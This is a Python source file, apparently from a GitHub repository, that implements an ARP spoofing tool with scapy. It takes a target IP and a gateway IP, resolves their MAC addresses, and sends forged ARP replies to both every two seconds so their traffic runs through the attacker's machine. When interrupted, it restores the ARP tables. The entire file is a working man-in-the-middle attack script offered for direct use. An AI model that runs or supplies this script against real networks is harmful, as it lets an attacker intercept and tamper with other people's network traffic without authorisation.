-
Notifications
You must be signed in to change notification settings - Fork 0
/
arp_spoof.py
77 lines (65 loc) · 2.56 KB
/
arp_spoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
from click import argument
import scapy.all as scapy
import time
import sys
import optparse
def setup():
parser = optparse.OptionParser()
parser.add_option("--t", "--target", dest="target_ip", help="IP of the target")
parser.add_option("--g", "--gateway", dest="gateway_ip", help="IP of the internet gateway")
return parser.parse_args(), parser
def spoof(target_ip, spoof_ip):
target_mac = get_mac(target_ip)
counter_retry = 0
while target_mac == None and counter_retry < 10:
print(f"[+]Retrying {counter_retry + 1}...")
counter_retry+= 1
target_mac = get_mac(target_ip)
if not target_mac:
print("[-]MAC cannot be founded. Exigint now")
restore_tables(target_ip, spoof_ip)
sys.exit()
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.send(packet, verbose=False)
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=2, verbose=False)[0]
if len(answered_list) == 0:
print("\n[-]MAC address not found: ")
return None
return (answered_list[0][1].hwsrc)
def restore(destination_ip, source_ip):
destination_mac = get_mac(destination_ip)
source_mac = get_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
scapy.send(packet, count=4, verbose=False)
def restore_tables(target_ip, gateway_ip):
print("\n[+] Quitting due to interrupt. Resetting ARP tables, please wait...")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
print("[+] Network back to default settings.")
(options, arguments), parser = setup()
target_ip = options.target_ip
gateway_ip = options.gateway_ip
if not target_ip:
print("[-] Paramenter --target is required. Use --help for more info.")
sys.exit()
if not gateway_ip:
print("[-] Paramenter --gateway is required. Use --help for more info.")
sys.exit()
try:
sent_packets_count = 0
while True:
spoof(target_ip, gateway_ip)
spoof(gateway_ip, target_ip)
sent_packets_count+= 2
print("\r[+] Packets sent: " + str(sent_packets_count), end="")
time.sleep(2)
except KeyboardInterrupt:
print("\n[+] Quitting due to interrupt. Resetting ARP tables, please wait...")
restore(target_ip, gateway_ip)
restore(gateway_ip, target_ip)
print("[+] Network back to default settings.")